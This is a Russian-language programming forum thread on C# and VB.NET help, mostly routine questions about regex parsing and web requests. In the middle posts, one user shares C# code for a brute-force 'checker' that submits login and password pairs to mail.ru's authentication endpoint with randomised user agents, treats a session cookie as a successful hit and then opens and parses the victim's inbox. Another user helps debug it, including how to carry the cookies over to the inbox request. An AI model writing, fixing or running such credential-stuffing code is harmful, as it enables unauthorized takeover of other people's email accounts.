1. BanDiTuK12.03.2025 в 21:23от
Загрузка...

.NET Support [ c# и vb.net ]

Тема в разделе "С/С++/Pascal/Delphi", создана пользователем Lays, 04.08.2013.

  1. avQse

    avQse

    Статус:
    Оффлайн
    Регистрация:
    07.03.12
    Сообщения:
    481
    Репутация:
    518 +/-
    Код:
    var matches = Regex.Matches(html, "(?<=<span class=\"quotations__item__rate\">)(.*?)(?=</span>)");
    var usd = matches[0].Value;
    var eur = matches[1].Value;
    
     
  2. Error

    Лордя
    Error

    Статус:
    Оффлайн
    Регистрация:
    14.08.12
    Сообщения:
    285
    Репутация:
    225 +/-
    Спасибо
     
  3. Lays

    Буду 7 числа
    Lays

    Статус:
    Оффлайн
    Регистрация:
    30.09.12
    Сообщения:
    1.456
    Репутация:
    1.511 +/-
    я поздно сделал уже =(, ну ничего, avQse тебе помог)
     
  4. Error

    Лордя
    Error

    Статус:
    Оффлайн
    Регистрация:
    14.08.12
    Сообщения:
    285
    Репутация:
    225 +/-
    только вот не получается запихать в бруут) брут я с горем пополам написал многопоточный а вот чекер не как(
     
  5. Error

    Лордя
    Error

    Статус:
    Оффлайн
    Регистрация:
    14.08.12
    Сообщения:
    285
    Репутация:
    225 +/-
    Пытался сделать
    if(Проверка куки)
    {
    чек
    retrun true
    }
    else
    retrun false

    брут стопится
     
  6. Lays

    Буду 7 числа
    Lays

    Статус:
    Оффлайн
    Регистрация:
    30.09.12
    Сообщения:
    1.456
    Репутация:
    1.511 +/-
    весь код в студию
     
  7. Error

    Лордя
    Error

    Статус:
    Оффлайн
    Регистрация:
    14.08.12
    Сообщения:
    285
    Репутация:
    225 +/-
    public static bool Check(string login, string password,string domian)
    {

    try
    {
    using (var request = new HttpRequest())
    {
    request.UserAgent = HttpHelper.RandomUserAgent();

    request.AllowAutoRedirect = false;


    HttpResponse response = request.Post("http://swa.mail.ru/cgi-bin/auth?lang=ru_RU", "page=http%3A%2F%2Fmail.ru%2F&FailPage=&Domain="+domian+"&Login="+ login+"&Password="+password+"&new_auth_form=1&saveauth=1");
    // SourceHTML = response.ToString();


    if (response.Cookies.ContainsKey("t"))
    {


    using (var Request = new HttpRequest())
    {



    string SourceHTML;
    SourceHTML = Request.Get("https://e.mail.ru/messages/inbox/").ToString();
    var matches = Regex.Matches(SourceHTML, "(?<=<span class=\"dropdown__button__text\">)(.*?)(?=</span>)");
    var s = matches[0].Value;
    MessageBox.Show(s);



    }



    return true;
    }

    }
    }
    catch
    {
    Check(login, password,domian);
    }

    return false;
    }
     
  8. Error

    Лордя
    Error

    Статус:
    Оффлайн
    Регистрация:
    14.08.12
    Сообщения:
    285
    Репутация:
    225 +/-
    Именно в этом коде:
    авторизация - если валид то переход в почтовый ящик и парсинг количество сообщений
     
  9. Lays

    Буду 7 числа
    Lays

    Статус:
    Оффлайн
    Регистрация:
    30.09.12
    Сообщения:
    1.456
    Репутация:
    1.511 +/-
    1. if (response.Cookies.ContainsKey("t")) на майле вроде Mpop
    2. using (var Request = new HttpRequest()) - зачем снова обьявлять, раз обьявил и хватит
    3. SourceHTML = Request.Get("https://e.mail.ru/messages/inbox/").ToString(); - у тебя гет вообще идет без куки, тоесть нихрена не будет там, тебе нужно использовать CookieDictionary или куки контейнер и предавать в него куки с ответа, а потом их брать для последующего гета
    4. MessageBox.Show(s); -убери вообще, лучше для начала ретурном возвращай и смотри
    5.
    catch
    {
    Check(login, password,domian);
    }

    return false;
    зачем после обратного запуска процедуры возвращает false ? убери
     
  10. Error

    Лордя
    Error

    Статус:
    Оффлайн
    Регистрация:
    14.08.12
    Сообщения:
    285
    Репутация:
    225 +/-
    куки и "t" Подходит
    Если убрать retrun false;
    "Brute.Checker.Check(string, string, string)": не все ветви кода возвращают значение
     
  11. MDK

    MDK

    Статус:
    Оффлайн
    Регистрация:
    24.07.13
    Сообщения:
    248
    Репутация:
    42 +/-
    Ребята, как делать запросы в VB.NET и вообще как работать с Интернетом в VB.NET?
    Использую Microsoft Visual Basic 2008 Express Edition.

    P.S. Тапками не кидаться.
     
  12. Lays

    Буду 7 числа
    Lays

    Статус:
    Оффлайн
    Регистрация:
    30.09.12
    Сообщения:
    1.456
    Репутация:
    1.511 +/-
    обычным WebRequest-ом или использовать библиотеки для этого
     
  13. MDK

    MDK

    Статус:
    Оффлайн
    Регистрация:
    24.07.13
    Сообщения:
    248
    Репутация:
    42 +/-
    Как сделать так, чтобы при нажатий на Enter компонент WebBrowser1 переходила по адресу, которая указана в TextBox1?
    Пробовал событие Enter, не получилось.